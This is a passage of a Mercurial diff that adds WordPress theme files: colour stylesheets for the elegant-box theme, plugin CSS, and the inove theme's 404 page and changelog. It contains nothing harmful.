border:1px solid #B2D281; +} +.wp_syntax .line_numbers { + background:#E7F1D7; +} +/* wp-syntax END */ diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/styles/green/feed.gif Binary file web/wp-content/themes/elegant-box/styles/green/feed.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/styles/green/feed_switch.gif Binary file web/wp-content/themes/elegant-box/styles/green/feed_switch.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/styles/green/global.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/elegant-box/styles/green/global.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,6 @@ +#style-green a img { + background:#B2D281; +} +#style-green a:hover img { + background:#90B683; +} \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/styles/green/go_top.gif Binary file web/wp-content/themes/elegant-box/styles/green/go_top.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/styles/green/notice.gif Binary file web/wp-content/themes/elegant-box/styles/green/notice.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/styles/green/search_background.gif Binary file web/wp-content/themes/elegant-box/styles/green/search_background.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/styles/green/search_background_ie.gif Binary file web/wp-content/themes/elegant-box/styles/green/search_background_ie.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/styles/green/twitter_switch.gif Binary file web/wp-content/themes/elegant-box/styles/green/twitter_switch.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/styles/purple/background.gif Binary file web/wp-content/themes/elegant-box/styles/purple/background.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/styles/purple/comment.gif Binary file web/wp-content/themes/elegant-box/styles/purple/comment.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/styles/purple/content_background.gif Binary file web/wp-content/themes/elegant-box/styles/purple/content_background.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/styles/purple/default.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/elegant-box/styles/purple/default.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,344 @@ +/* 底层背景和默认字体颜色 */ +body { + background:#E7DFE9; + color:#463C4E; +} +/* 引用和 pre 框的背景和边框 */ +blockquote,pre { + background:#F3EEF4; + border:1px dashed #D3BDD7; +} +/* 默认的链接字体颜色 */ +a { + color:#16387C; +} +/* æ–‡æœ¬åŒºå’Œæ–‡æœ¬åŸŸçš„æ ·å¼ */ +textarea,.textfield { + background:#FFF; + border:1px solid #D3BDD7; + padding:3px; + font-size:12px; +} +/* 评论留言填写资料时,通过验è¯çš„颜色 */ +.valid { + color:#119900; +} +/* 评论留言填写资料时,ä¸é€šè¿‡éªŒè¯çš„颜色 */ +.invalid { + color:#ff4a00; +} +/* é»˜è®¤æŒ‰é’®æ ·å¼ */ +.button, +a#cancel-comment-reply-link { + background:#8C7CA9; + border-color:#8C7CA9 #6C499C #6C499C #8C7CA9; + color:#FFFFFF; +} +.button:hover, +a#cancel-comment-reply-link:hover { + background:#766693; + border-color:#6C499C #8C7CA9 #8C7CA9 #6C499C; +} +/* 带边元素的背景和边框 */ +.sided, +.wp-caption { + background:#F3EEF4; + border:1px #DCCEE0 solid; +} +/* è´´å­å†…çš„å›¾ç‰‡åœ¨é¼ æ ‡æ‚¬åœæ—¶çš„边框颜色 */ +a .sided:hover { + border-color:#AB97BC; +} +/* BOX 线æ¡å’ŒèƒŒæ™¯é¢œè‰² */ +.boxcaption, +.box, +#related_posts, +#related_posts ul li { + border-color:#D3BDD7; + background:#FFF; +} +/* BOX 标题颜色 */ +.boxcaption h3, +#related_posts h3, +.messagebox .content { + background:#F3EEF4; +} +/* 带下边的元素的下边线 */ +.bottom_separator { + border-bottom:1px dashed #D3BDD7; +} + +/* header START */ +/* é¡¶éƒ¨çš„ä¸‹è¾¹çº¿æ¡ */ +#header { + border-bottom:1px solid #AB97BC; +} +/* 顶部主题颜色,ä¸‹è¾¹çº¿æ¡ */ +#header .inner { + background:#EEE6F0; + border-bottom:1px solid #FFF; +} +/* Blog æ ‡é¢˜å·¦è¾¹çš„ç²—çº¿æ¡ */ +#header .caption { + border-color:#C5B8CE; +} +/* Blog 标题 */ +#title a { + color:#463C4E; + text-decoration:none; +} +/* Blog 副标题 */ +#tagline { + color:#705C83; +} +/* Blog 标题的字体悬åœé¢œè‰² */ +#title a:hover { + color:#6C499C; +} +/* 导航èœå•项的链接å³è¾¹é¢œè‰² */ +#navigation li a { + border-color:#D6C6D9; +} +/* æœç´¢æ¡† */ +#searchbox .textfield { + border:1px solid #D3BDD7; + background:#FBF9FC url(search_background.gif) no-repeat right !important; + background:#FBF9FC url(search_background_ie.gif) no-repeat right; /* for IE6 */ + background-position:0 0 !important; + background-position:0 -21px; /* for IE6 */ +} +/* æœç´¢æ¡†èŽ·å¾—ç„¦ç‚¹(对 IE<=6 çš„æµè§ˆå™¨æ— æ•ˆ) */ +#searchbox .textfield:focus { + border:solid 1px #AB97BC; + background:#FFF url(search_background.gif) no-repeat right !important; + background-position:0 -21px !important; +} +/* æœç´¢æ¡†æç¤º */ +#searchbox .searchtip { + color:#D3BDD7; +} +/* å¯è½¬å˜çš„订阅图标 */ +#navigation li a#feed img { + background-image:url(feed_switch.gif); +} +#navigation li a#twitter img { + background-image:url(twitter_switch.gif); +} +/* header END */ + +/* submenu START */ +/* 订阅器列表 */ +#navigation li ul { + background:#E7DFE9; + border-color:#AB97BC; +} +/* submenu END */ + +/* main START */ +/* 主题背景和边框 */ +#container { + background:#F7F4F8 url(background.gif) repeat; +} +#content { + background:#FDFBFF url(content_background.gif) repeat-y top right; + border:solid 1px #AB97BC; +} +/* ç¿»é¡µå¯¼èˆªä¸Šè¾¹çº¿æ¡ */ +#bottom .postnav { + border-top:1px dashed #D3BDD7; +} +/* TOP 的图标 */ +#bottom .anchor span { + background:url(go_top.gif) no-repeat left center; +} +/* æç¤ºæ çš„边框 */ +#notice { + border:1px solid #D3BDD7; +} +/* æç¤ºæ çš„èƒŒæ™¯å’Œå†…çº¿æ¡ */ +#notice .inner { + background:#EEE6F0; + border:1px solid #FFF; +} +/* æç¤ºæ çš„图标 */ +#notice .icon { + background:url(notice.gif) no-repeat top left; +} +/* æç¤ºæ çš„垂直分割线 */ +#notice .content .separator { + border-right:1px solid #D3BDD7; +} +/* è´´å­çš„æ ‡é¢˜ */ +.post .title h2 { + color:#463C4E; + padding-bottom:3px; + border-bottom:1px solid #EEE3F9; +} +/* è´´å­çš„å¯é“¾æŽ¥æ ‡é¢˜ */ +.post .title a { + color:#463C4E; + text-decoration:none; +} +/* è´´å­çš„å¯é“¾æŽ¥æ ‡é¢˜æ‚¬åœé¢œè‰² */ +.post .title a:hover { + color:#6C499C; +} +/* è´´å­çš„分类等信æ¯çš„字体颜色 */ +.post .info, +#related_posts .excerpt { + color:#705C83; +} +/* 评论的图标 */ +.post .comments { + background:url(comment.gif) no-repeat bottom left; +} +/* 文章内表格 */ +.post .content table { + background:#FFF; + border-color:#D3BDD7; +} +.post .content th, +.post .content td { + border-color:#D3BDD7; +} +.post .content tr.even td { + background:#F3EEF4; +} +.post .content th { + background:#E3D6E9; +} +/* main START */ + +/* sidebar START */ +/* ä¾§è¾¹æ èƒŒæ™¯å’Œå·¦è¾¹çº¿æ¡ */ +#sidebar { + background:#E7DFE9; + border-left:1px solid #D3BDD7; +} +/* Widget 标题的背景颜色 */ +#sidebar h3, +.widget .showcase { + background:#DCCEE0; +} +/* Widget å¯è¿žæŽ¥æ ‡é¢˜çš„字体颜色 */ +#sidebar a h3 { + color:#463C4E; +} +/* Widget å¯è¿žæŽ¥æ ‡é¢˜å’Œé£Žæ ¼é€‰æ‹©æ çš„背景 */ +#styleswitcher,#sidebar a:hover h3 { + background:#C5B8CE; +} +/* 风格选择按钮的背景和边框 */ +#styleswitcher span.color { + background:#FFF; + border:1px solid #655C6D; +} +/* ç›®å‰é£Žæ ¼æŒ‰é’®çš„外空白 */ +#styleswitcher #style-purple { + margin-top:0; /* 此项ä¸ç”¨ä¿®æ”¹ */ +} +/* ç›®å‰é£Žæ ¼æŒ‰é’®çš„èƒŒæ™¯å’Œå¤§å° */ +#styleswitcher #style-purple a img { + background:#A79ABD; + width:12px; /* 此项ä¸ç”¨ä¿®æ”¹ */ + height:12px; /* 此项ä¸ç”¨ä¿®æ”¹ */ +} +/* Widget å„é¡¹çš„ä¸‹è¾¹çº¿æ¡ */ +.widget ul li { + border-bottom:1px solid #DCCEE0; +} +/* Widget å„å­é¡¹çš„ä¸Šè¾¹çº¿æ¡ */ +.widget ul li ul li { + border-top:1px solid #DCCEE0; +} +/* 最新贴å­çš„æ—¥æœŸå­—体颜色(1.4版åŽä¸ç”¨) */ +.sidedate { + color:#AB97BC; +} +/* sidebar END */ + +/* footer START */ +/* åº•éƒ¨çš„ä¸Šè¾¹çº¿æ¡ */ +#footer { + border-top:1px solid #AB97BC; +} +/* åº•éƒ¨çš„èƒŒæ™¯å’Œå†…çº¿æ¡ */ +#footer .inner { + background:#E7DFE9; + border-top:1px solid #FFF; +} +/* footer END */ + +/* comments START */ +/* 评论框 */ +.commentlist .comment { + background:#FFF; + border-color:#D3BDD7; +} +/* è¯„è®ºæ¡†çš„è¯„è®ºè€…ä¿¡æ¯æ  */ +.userinfo { + background:#F3EEF4; +} +/* è¯„è®ºè€…å¤´åƒæ¡† */ +.userinfo .userpic { + background-color:#fff; + border:1px solid #AB97BC; +} +/* RSS 图标 */ +#comments_rss { + background:url(feed.gif) no-repeat top left; +} +/* Trackback 框的边线颜色 */ +#trackbacks, +#trackbacks li { + border-color:#D3BDD7; +} +/* Trackback 框的标题颜色 */ +#trackbacks .caption { + background:#F3EEF4; +} +/* Trackback 框的附属信æ¯å­—体颜色 */ +#trackbacks li small { + color:#705C83; +} +/* comments END */ + +/* calendar START */ +/* 月历的背景颜色 */ +#calendar_wrap { + background:#DCCEE0; +} +/* 月历星期标题的背景颜色 */ +#wp-calendar th { + background:#D3BDD7; +} +/* calendar END */ + +/* wp-pagenavi START */ +/* 悬åœé¡µé¢é“¾æŽ¥é¢œè‰² */ +.wp-pagenavi a:hover { + background:#DCCEE0; +} +/* 当å‰é¡µé¢é“¾æŽ¥é¢œè‰² */ +.wp-pagenavi span.current { + background:#EEE6F0; +} +/* wp-pagenavi END */ + +/* wp-recentcomments START */ +/* 评论者头åƒçš„背景和边框颜色 */ +.rc_item .rc_avatar img { + background:#FFF; + border-color:#AB97BC; +} +/* wp-recentcomments END */ + +/* wp-syntax START */ +.wp_syntax { + background:#F3EEF4; + border:1px solid #D3BDD7; +} +.wp_syntax .line_numbers { + background:#E7DFE9; +} +/* wp-syntax END */ diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/styles/purple/feed.gif Binary file web/wp-content/themes/elegant-box/styles/purple/feed.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/styles/purple/feed_switch.gif Binary file web/wp-content/themes/elegant-box/styles/purple/feed_switch.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/styles/purple/global.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/elegant-box/styles/purple/global.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,8 @@ +/* 紫色风格选择按钮的颜色 */ +#style-purple a img { + background:#C3ACC6; +} +/* 紫色风格选择按钮的悬åœé¢œè‰² */ +#style-purple a:hover img { + background:#A79ABD; +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/styles/purple/go_top.gif Binary file web/wp-content/themes/elegant-box/styles/purple/go_top.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/styles/purple/notice.gif Binary file web/wp-content/themes/elegant-box/styles/purple/notice.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/styles/purple/search_background.gif Binary file web/wp-content/themes/elegant-box/styles/purple/search_background.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/styles/purple/search_background_ie.gif Binary file web/wp-content/themes/elegant-box/styles/purple/search_background_ie.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/styles/purple/twitter_switch.gif Binary file web/wp-content/themes/elegant-box/styles/purple/twitter_switch.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/styles/white/background.gif Binary file web/wp-content/themes/elegant-box/styles/white/background.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/styles/white/comment.gif Binary file web/wp-content/themes/elegant-box/styles/white/comment.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/styles/white/content_background.gif Binary file web/wp-content/themes/elegant-box/styles/white/content_background.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/styles/white/default.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/elegant-box/styles/white/default.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,277 @@ +body { + background:#F7F7F7; + color:#333; +} +blockquote,pre { + background:#F1F1F1; + border:#CCC dashed 1px; +} +a { + color:#3B5998; +} +textarea,.textfield { + border:1px solid #BDC7D8; + padding:3px; + font-size:12px; +} +.valid { + color:#119900; +} +.invalid { + color:#ff4a00; +} +.button, +a#cancel-comment-reply-link { + background:#3B5998; + border-color:#3B5998 #0E1F5B #0E1F5B #3B5998; + color:#FFFFFF; +} +.button:hover, +a#cancel-comment-reply-link:hover { + background:#3E5383; + border-color:#0E1F5B #3B5998 #3B5998 #0E1F5B; +} +.sided, +.wp-caption { + background:#F3F3F3; + border:1px solid #DDD; +} +a .sided:hover { + border-color:#666; +} +.boxcaption, +.box, +#related_posts, +#related_posts ul li { + border-color:#BDC7D8; + background:#FFF; +} +.boxcaption h3, +#related_posts h3, +.messagebox .content { + background:#F7F7F7; +} +.bottom_separator { + border-bottom:1px dashed #CCC; +} + +/* header START */ +#header { + border-bottom:1px solid #B7B7B7; +} +#header .inner { + background:#F7F7F7; + border-bottom:1px solid #FFF; +} +#header .caption { + border-color:#999; +} +#title a { + color:#666; + text-decoration:none; +} +#title a:hover { + color:#3B5998; +} +#tagline { + color:#999; +} +#navigation li a { + border-color:#D6D6D6; +} +#searchbox .textfield { + background:#fff url(search_background.gif) no-repeat right; + background-position:0 0 !important; + background-position:0 -21px; +} +#searchbox .textfield:focus { + background-position:0 -21px !important; +} +#searchbox .searchtip { + color:#CCC; +} +#navigation li a#feed img { + background-image:url(feed_switch.gif); +} +#navigation li a#twitter img { + background-image:url(twitter_switch.gif); +} +/* header END */ + +/* submenu START */ +#navigation li ul { + background:#F7F7F7; + border-color:#B7B7B7; +} +/* submenu END */ + +/* main START */ +#container { + background:#E9E9E9 url(background.gif) repeat; +} +#content { + background:#fff url(content_background.gif) repeat-y top right; + border:solid 1px #B7B7B7; +} +#bottom .postnav { + border-top:1px dashed #B7B7B7; +} +#bottom .anchor span { + background:url(go_top.gif) no-repeat left center; +} +#notice { + border:1px solid #C6C6C6; +} +#notice .inner { + background:#F4F4F4; + border:1px solid #FFF; +} +#notice .icon { + background:url(notice.gif) no-repeat top left; +} +#notice .content .separator { + border-right:1px solid #C6C6C6; +} +.post .title h2 { + color:#333; + padding-bottom:3px; + border-bottom:1px solid #ccc; +} +.post .title a { + color:#333; + text-decoration:none; +} +.post .title a:hover { + color:#3B5998; +} +.post .info, +#related_posts .excerpt { + color:#999; +} +.post .comments { + background:url(comment.gif) no-repeat bottom left; +} +.post .content table { + background:#FFF; + border-color:#CCC; +} +.post .content th, +.post .content td { + border-color:#CCC; +} +.post .content tr.even td { + background:#F7F7F7; +} +.post .content th { + background:#E9E9E9; +} +/* main END */ + +/* sidebar START */ +#sidebar { + background:#F7F7F7; + border-left:1px solid #DDDDDD; +} +#sidebar h3, +.widget .showcase { + background:#E9E9E9; +} +#sidebar a h3 { + color:#333; +} +#styleswitcher,#sidebar a:hover h3 { + background:#d6d6d6; +} +#styleswitcher span.color { + background:#FFF; + border:1px solid #999; +} +#styleswitcher #style-white { + margin-top:0px; +} +#styleswitcher #style-white a img { + background:#FFF; + width:12px; + height:12px; +} +.widget ul li { + border-bottom:1px solid #eee; +} +.widget ul li ul li { + border-top:1px solid #eee; +} +.sidedate { + color:#999; +} +/* sidebar END */ + +/* footer START */ +#footer { + border-top:1px solid #B7B7B7; +} +#footer .inner { + background:#F7F7F7; + border-top:1px solid #FFF; +} +/* footer END */ + +/* comments START */ +.commentlist .comment { + border-color:#BDC7D8; +} +.userinfo { + background:#F7F7F7; +} +.userinfo .userpic { + background-color:#fff; + border:1px solid #B7B7B7; +} +#comments_rss { + background:url(feed.gif) no-repeat top left; +} +#trackbacks, +#trackbacks li { + border-color:#BDC7D8; +} +#trackbacks .caption { + background:#F7F7F7; +} +#trackbacks li small { + color:#999; +} +/* comments END */ + +/* calendar START */ +#calendar_wrap { + background:#E9E9E9; +} +#wp-calendar th { + background:#DDD; +} +/* calendar END */ + +/* wp-pagenavi START */ +.wp-pagenavi a:hover { + background:#E9E9E9; +} +.wp-pagenavi span.current { + background:#F7F7F7; +} +/* wp-pagenavi END */ + +/* wp-recentcomments START */ +.rc_item .rc_avatar img { + background:#FFF; + border-color:#B7B7B7; +} +/* wp-recentcomments END */ + +/* wp-syntax START */ +.wp_syntax { + background:#F9F9F9; + border:1px solid #CCC; +} +.wp_syntax .line_numbers { + background:#E9E9E9; +} +/* wp-syntax END */ diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/styles/white/feed.gif Binary file web/wp-content/themes/elegant-box/styles/white/feed.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/styles/white/feed_switch.gif Binary file web/wp-content/themes/elegant-box/styles/white/feed_switch.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/styles/white/global.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/elegant-box/styles/white/global.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,6 @@ +#style-white a img { + background:#ddd; +} +#style-white a:hover img { + background:#fff; +} \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/styles/white/go_top.gif Binary file web/wp-content/themes/elegant-box/styles/white/go_top.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/styles/white/notice.gif Binary file web/wp-content/themes/elegant-box/styles/white/notice.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/styles/white/search_background.gif Binary file web/wp-content/themes/elegant-box/styles/white/search_background.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/styles/white/twitter_switch.gif Binary file web/wp-content/themes/elegant-box/styles/white/twitter_switch.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/wp-multicollinks.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/elegant-box/wp-multicollinks.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,21 @@ +.ml_col { + float:left; +} +.ml_col_2 { + width:50%; +} +.ml_col_3 { + width:33%; +} +.ml_col_4 { + width:25%; +} +.ml_fixed { + clear:both; +} +.ml_showall { + float:right; +} +#ml_nav { + font-size:10px; +} \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/wp-recentcomments.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/elegant-box/wp-recentcomments.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,43 @@ +.rc_item .rc_avatar img { + padding:1px; + border-width:1px; + border-style:solid; +} +.rc_item .rc_left { + display:inline; + float:left; + padding-right:7px !important; + padding-right:4px; +} +.rc_item .rc_right { + display:inline; + float:right; + padding-left:7px !important; + padding-left:4px; +} +.rc_item .rc_info .author_name { + font-weight:bold; +} +#rc_newest { + float:left; + padding-right:10px; +} +#rc_newer { + float:left; +} +#rc_older { + float:right; +} +.rc_fixed { + clear:both; +} +.rc_label { + font-weight:bolder; + font-size:10px; +} +.rc_back { + float:left; +} +.rc_datetime { + float:right; +} \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/wp-syntax.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/elegant-box/wp-syntax.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,48 @@ +.wp_syntax { + margin-bottom:8px; + overflow:auto; + overflow-x:auto; + overflow-y:hidden; + width:99%; + padding-bottom:0 !important; + padding-bottom:15px; +} +.wp_syntax table, +.post .content .wp_syntax table { + border-collapse:collapse; + border:none; + margin:0; +} +.wp_syntax div { + vertical-align:top; + padding:2px 4px; +} +.wp_syntax pre { + border:none; + background:none; + margin:0; + padding:0; + width:auto; + float:none; + clear:none; + overflow:visible; + font-size:12px; + line-height:1.333; +} +.line_numbers pre { + padding-left:5px; +} +.wp_syntax td, +.post .content .wp_syntax td { + border-top:none; + padding:2px 4px; + border:none; +} +.wp_syntax .line_numbers, +.post .content .wp_syntax .line_numbers { + text-align:right; + overflow:visible; +} +.wp_syntax .code { + width:100%; +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/index.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/index.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,3 @@ + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/404.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/inove/404.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,79 @@ +* { + margin:0; + padding:0; +} +body { + font-family:Verdana,"BitStream vera Sans",Arial,Helvetica,'Lucida Grande','Lucida Sans Unicode',Sans-serif; + color:#555; +} +img { + border:0; +} +a { + color:#2970A6; + text-decoration:none; +} +a:hover { + text-decoration:underline; +} +.fixed { + clear:both; +} +#container { + margin:100px auto; + width:750px; +} +#talker { + background:url(img/commentpoint.png) 100% 33% no-repeat; + padding-right:45px; + float:left; +} +#talker a { + float:left; + margin-top:20px; +} +#notice { + background:#EDEFF0 url(img/postbox.gif) 0 0 no-repeat; + width:560px; + float:left; + padding:15px 20px 0; +} +#notice h1 { + font-size:24px; + font-family:"Courier New", Courier, Monospace; +} +#notice p { + font-size:14px; + margin-top:10px; +} +#notice .back { + background:url(img/postbox.gif) 100% 100% no-repeat; + width:560px; + display:block; + margin:0 -20px; + padding:30px 20px; +} +#notice .back a { + color:#000; + font-weight:bolder; + text-decoration:none; + background:#9CD941; + border:1px solid #D0F29D; + border-right-color:#398A38; + border-bottom-color:#398A38; + padding:10px 15px; + font-size:14px; + margin-right:3px; +} +#notice .back a:hover { + background:#ADEB51; +} +#notice .back a.feed { + background:#F9A350; + border:1px solid #FAAC56; + border-right-color:#C6432A; + border-bottom-color:#C6432A; +} +#notice .back a.feed:hover { + background:#FCB363; +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/404.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/inove/404.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,37 @@ + + + + + + + <?php bloginfo('name'); ?><?php wp_title(); ?> + + + + + + + + + + + + +
    +
    + <?php _e('Talker', 'inove'); ?> +
    +
    +

    +

    +

    +
    + +
    +
    +
    +
    +
    + + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/CHANGELOG.txt --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/inove/CHANGELOG.txt Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,155 @@ + VERSION DATE TYPE CHANGES + 1.4.6 2009/08/07 NEW Added 'web analytics' options. + NEW Added 'twitter' options. + NEW Added Kurdish language support. (Thanks Sia) + MODIFY Optimize SQL to select the copyright years. + MODIFY Show tag cloud on all the pages. + MODIFY Changed the mode of WP-EasyArchives to 'none' in sidebar. + MODIFY Changed font-family of text boxes. + MODIFY Set the delay time for the menus on mouse out action. + MODIFY Split links by category in links page (links.php). + MODIFY Updated style for Thread Twitter. + MODIFY Updated Polish translation. + MODIFY Updated Dutch translation. + MODIFY Updated Janpanese translation. + MODIFY Update Simplified Chinese translation. + MODIFY Update German translation. + FIX Fixed the comments, they are XHTML valid!. + 1.4.5 2009/06/09 MODIFY Changed text 'Remove sidebar from all pages.' to 'Hide sidebar from all pages.' + FIX Fixed 'Google adsenses to cover the menus'. (Thanks bolo) + 1.4.4 2009/06/09 MODIFY Show the AJAX loader icon when change page in WP-RecentComments. + FIX Fixed 'comments doesn't show in the pages'. (I am so sorry for my stupid mistake.) + 1.4.3 2009/06/07 NEW Change the style of multi-level menus. + 1.4.2 2009/06/06 NEW Change the style of sidebar separating. + FIX Fixed a plugin conflict (wp_head was not found in header.php/wp_footer was not found in footer.php). + 1.4.1 2009/06/06 NEW Multi level menu is now supported. + NEW Added Indonesian language support. (Thanks 4MB) + MODIFY Move the '404 talker' image from Flickr to localhost. + MODIFY Updated Italian translation. + MODIFY Updated Finnish translation. + MODIFY Updated Lithuanian translation. (Thanks Mantas Malcius) + MODIFY Updated Israeli Hebrew translation. (Thanks Yonatan Levy) + MODIFY Update Traditional Chinese translation. + MODIFY Updated Bulgarian translation. + FIX Fixed the style of right-to-left layout. + 1.4 2009/05/11 NEW Added 'nosidebar' option that allow you to remove sidebar from all pages. + NEW Added 'Add link' button in link template. + NEW 'Mail To Commenter' plugin is now supported. (via '@+user+blank') + NEW Added searchbox tip. + NEW Added Finnish language support. (Thanks Petteri Laine) + NEW Added Korean language support. (Thanks Hackie) + MODIFY Changed header. + MODIFY Changed the link of CSS validator. + MODIFY Updated Italian translation. + MODIFY Updated Janpanese translation. + MODIFY Update Simplified Chinese translation. + MODIFY Moved author link below post title. + FIX Fixed the error that broke admin comments interface. + FIX Fixed submenus with a large title. + FIX Fixed banner in right-to-left layout. + FIX Fixed display bug about icons. + FIX Fixed 'sidebar being pushed down in IE6'. + 1.3 2009/04/19 NEW Compatible with IE8. + NEW 'AJAX Comment Pager' plugin is now supported. (Comment list ID: thecomments | Callback method name: custom_comments) + NEW 'Thread Twitter' plugin is now supported. (twitter.php) + NEW Added 'Feed readers' option in 'Current Theme Options' page. + NEW 'WP-Poll' plugin is now supported. + NEW Added style for calendar widget. + NEW Added banner options. + NEW Added 'Submit comments with Ctrl+Enter' option. + NEW Added Uyghur language support. (Thanks ahbar) + NEW Added Ukrainian language support. (Thanks Jurko Chervony) + NEW Added Icelandic language support. (Thanks Undandi) + NEW Added Swedish language support. (Thanks Robert Kajic) + NEW Added Vietnamese language support. (Thanks Thắng Mạo) + NEW Added Basque language support. (Thanks Ibon Igartua) + NEW Added Lithuanian language support. (Thanks Aivaras Kivillius) + NEW Added Thai language support. (Thanks Kazama) + MODIFY Changed 'ID);' tag to comment from. + FIX Fixed style for right-to-left layout (rtl.css). + FIX Changed the images of link in 'Links' page. + FIX Fixed 'Edit link'. + FIX Removed redundant code about options. + 1.2.2 2009/01/05 NEW Added Croatian language support. (Thanks Fuzz Fais) + 1.2.1 2009/01/04 NEW Added Russian language support. (Thanks Yury Zemskov) + NEW Added Traditional Chinese language support. (Thanks nozumu) + MODIFY Hide trackbacks tab when trackbacks and pingbacks not allow on this post + FIX Added 'rel="external nofollow"' tag to the comment links. + 1.2 2009/01/02 NEW Added right-to-left layout support. + NEW Added link of the author of the current post. + NEW Added a new template without sidebar. + NEW Added Czech language support. (Thanks Ladislav Prskavec) + NEW Added Turkish language support. (Thanks posta) + NEW Added Dutch language support. (Thanks Johan Scholten) + NEW Added Israeli Hebrew language support. (Thanks David Abutbul) + MODIFY Combine 'search.php' with 'archive.php'. + MODIFY Moved all the .mo files to 'languages' directory. + MODIFY Rewrite code and create some templates. + MODIFY Using conditional comments as CSS hack for IE6. + MODIFY Update German translation. + MODIFY Update Polish translation. + MODIFY Update Italian translation. + FIX Fixed the comments template of page. + FIX Apply translations to 'Current Theme Options'. + FIX Submenu are disabled when remove feeds from sidebar, this bug now fixed. + 1.1.4 2008/12/15 FIX Fixed translation files. + 1.1.3 2008/12/15 NEW Added Polish language support. (Thanks Tomasz Wisniewski) + REMOVE Removed supported for 'SRG Clean Archives' plugin. + 1.1.2 2008/12/14 NEW 'Quick Comments' plugin is now supported. + NEW Added Japanese language support. (Thanks ã‚’ã‹ã‚‚ã¨) + NEW Added Brazilian Portuguese language support. (Thanks Welington Rodrigues Braga) + NEW Added French language support. (Thanks Gasquez Florian) + NEW Added Italian language support. (Thanks Gianni Diurno) + FIX Fixed a weird problem when people updated to WordPress 2.7. + FIX Apply translations to 'Your comment is awaiting moderation.'. + FIX Fixed the width of title. + FIX Fixed 